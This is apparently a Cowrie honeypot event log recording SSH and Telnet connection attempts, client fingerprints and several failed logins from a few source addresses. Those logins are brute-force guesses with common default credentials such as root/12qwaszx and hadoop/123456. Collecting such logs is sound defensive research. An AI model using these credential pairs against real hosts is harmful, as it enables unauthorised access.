{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":38232,"dst_ip":"10.17.0.5","dst_port":22,"session":"43a12d4a0f16","protocol":"ssh","message":"New connection: 176.65.132.254:38232 (10.17.0.5:22) [session: 43a12d4a0f16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:42.974667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:42.981093Z","src_ip":"176.65.132.254","session":"43a12d4a0f16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:43.063761Z","src_ip":"176.65.132.254","session":"43a12d4a0f16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123456","message":"login attempt [hadoop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:43.340096Z","src_ip":"176.65.132.254","session":"43a12d4a0f16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":56256,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2c8c48e2c9a","protocol":"telnet","message":"New connection: 134.209.8.29:56256 (159.203.135.109:23) [session: e2c8c48e2c9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:44.211632Z"}
{"eventid":"cowrie.session.closed","duration":15.160750150680542,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:44.387015Z","src_ip":"134.209.8.29","session":"1ecd69b32f37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:44.496796Z","src_ip":"176.65.132.254","session":"43a12d4a0f16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":38244,"dst_ip":"10.17.0.5","dst_port":22,"session":"b97c9a2f51ca","protocol":"ssh","message":"New connection: 176.65.132.254:38244 (10.17.0.5:22) [session: b97c9a2f51ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:47.067283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:47.078323Z","src_ip":"176.65.132.254","session":"b97c9a2f51ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:47.151344Z","src_ip":"176.65.132.254","session":"b97c9a2f51ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stack","password":"stack","message":"login attempt [stack/stack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:47.471189Z","src_ip":"176.65.132.254","session":"b97c9a2f51ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44832,"dst_ip":"10.17.0.5","dst_port":23,"session":"21d6190af676","protocol":"telnet","message":"New connection: 62.210.97.77:44832 (10.17.0.5:23) [session: 21d6190af676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:47.805623Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:48.556059Z","src_ip":"176.65.132.254","session":"b97c9a2f51ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46278,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddce98af5e4e","protocol":"telnet","message":"New connection: 62.210.97.77:46278 (10.17.0.5:23) [session: ddce98af5e4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:49.030160Z"}
{"eventid":"cowrie.session.closed","duration":52.146400690078735,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:49.705867Z","src_ip":"134.209.8.29","session":"ee2f008bf3d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.85796070098877,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:49.849675Z","src_ip":"62.210.97.77","session":"4733d8089b26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":38248,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9cd4d56e718","protocol":"ssh","message":"New connection: 176.65.132.254:38248 (10.17.0.5:22) [session: f9cd4d56e718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:50.878860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:50.883747Z","src_ip":"176.65.132.254","session":"f9cd4d56e718","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:50.967076Z","src_ip":"176.65.132.254","session":"f9cd4d56e718","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"bob","message":"login attempt [bob/bob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:51.220618Z","src_ip":"176.65.132.254","session":"f9cd4d56e718","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.66980266571045,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:51.438004Z","src_ip":"62.210.97.77","session":"47130cd2a21d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.90177631378174,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:52.073577Z","src_ip":"134.209.8.29","session":"f1534100b205","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:52.398310Z","src_ip":"176.65.132.254","session":"f9cd4d56e718","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46290,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6fe7ec9947e","protocol":"telnet","message":"New connection: 62.210.97.77:46290 (10.17.0.5:23) [session: c6fe7ec9947e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:52.885662Z"}
{"eventid":"cowrie.session.closed","duration":52.374675273895264,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:53.498312Z","src_ip":"134.209.8.29","session":"5d094838bb0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":52932,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c23d60e4fa0","protocol":"telnet","message":"New connection: 134.209.8.29:52932 (159.203.135.109:23) [session: 9c23d60e4fa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:53.788878Z"}
{"eventid":"cowrie.session.closed","duration":9.77644157409668,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:53.987935Z","src_ip":"134.209.8.29","session":"e2c8c48e2c9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":52506,"dst_ip":"10.17.0.5","dst_port":22,"session":"50e92dcc08e8","protocol":"ssh","message":"New connection: 176.65.132.254:52506 (10.17.0.5:22) [session: 50e92dcc08e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:54.642171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:54.774930Z","src_ip":"176.65.132.254","session":"50e92dcc08e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:54.778871Z","src_ip":"176.65.132.254","session":"50e92dcc08e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.849098682403564,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:55.113433Z","src_ip":"62.210.97.77","session":"5b3684f9e7da","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"12qwaszx","message":"login attempt [root/12qwaszx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:55.163188Z","src_ip":"176.65.132.254","session":"50e92dcc08e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.30384302139282,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:55.560689Z","src_ip":"38.54.119.93","session":"092e2dbd31c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.722057819366455,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:56.017830Z","src_ip":"134.209.8.29","session":"ad1274024985","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.128338098526,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:56.155631Z","src_ip":"62.210.97.77","session":"c3b14a302723","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46298,"dst_ip":"10.17.0.5","dst_port":23,"session":"743115c741a5","protocol":"telnet","message":"New connection: 62.210.97.77:46298 (10.17.0.5:23) [session: 743115c741a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:56.175745Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:56.256729Z","src_ip":"176.65.132.254","session":"50e92dcc08e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46314,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7cefdffa2d8","protocol":"telnet","message":"New connection: 62.210.97.77:46314 (10.17.0.5:23) [session: c7cefdffa2d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:56.550655Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35134,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3f662048072","protocol":"telnet","message":"New connection: 62.210.97.77:35134 (10.17.0.5:23) [session: d3f662048072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:58.549303Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":52522,"dst_ip":"10.17.0.5","dst_port":22,"session":"931d8633e635","protocol":"ssh","message":"New connection: 176.65.132.254:52522 (10.17.0.5:22) [session: 931d8633e635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:58.794113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:58.800062Z","src_ip":"176.65.132.254","session":"931d8633e635","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:58.882515Z","src_ip":"176.65.132.254","session":"931d8633e635","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W3e4r","message":"login attempt [root/!Q@W3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:59.143889Z","src_ip":"176.65.132.254","session":"931d8633e635","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":33826,"dst_ip":"10.17.0.5","dst_port":23,"session":"a32d1aa3dbb5","protocol":"telnet","message":"New connection: 38.54.119.93:33826 (10.17.0.5:23) [session: a32d1aa3dbb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:59.872288Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:00.528095Z","src_ip":"176.65.132.254","session":"931d8633e635","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35140,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fc8bd7e5823","protocol":"telnet","message":"New connection: 62.210.97.77:35140 (10.17.0.5:23) [session: 4fc8bd7e5823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:01.685106Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35146,"dst_ip":"10.17.0.5","dst_port":23,"session":"906ade5bd4b4","protocol":"telnet","message":"New connection: 62.210.97.77:35146 (10.17.0.5:23) [session: 906ade5bd4b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:02.736320Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":36132,"dst_ip":"10.17.0.5","dst_port":22,"session":"7bcb00be78e9","protocol":"ssh","message":"New connection: 176.65.132.254:36132 (10.17.0.5:22) [session: 7bcb00be78e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:02.937513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:02.943404Z","src_ip":"176.65.132.254","session":"7bcb00be78e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:03.025974Z","src_ip":"176.65.132.254","session":"7bcb00be78e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35156,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9bd9676b2a6","protocol":"telnet","message":"New connection: 62.210.97.77:35156 (10.17.0.5:23) [session: a9bd9676b2a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:03.155587Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35166,"dst_ip":"10.17.0.5","dst_port":23,"session":"60cd405ea262","protocol":"telnet","message":"New connection: 62.210.97.77:35166 (10.17.0.5:23) [session: 60cd405ea262]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:03.192703Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123","message":"login attempt [root/asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:03.279367Z","src_ip":"176.65.132.254","session":"7bcb00be78e9","protocol":"ssh"}
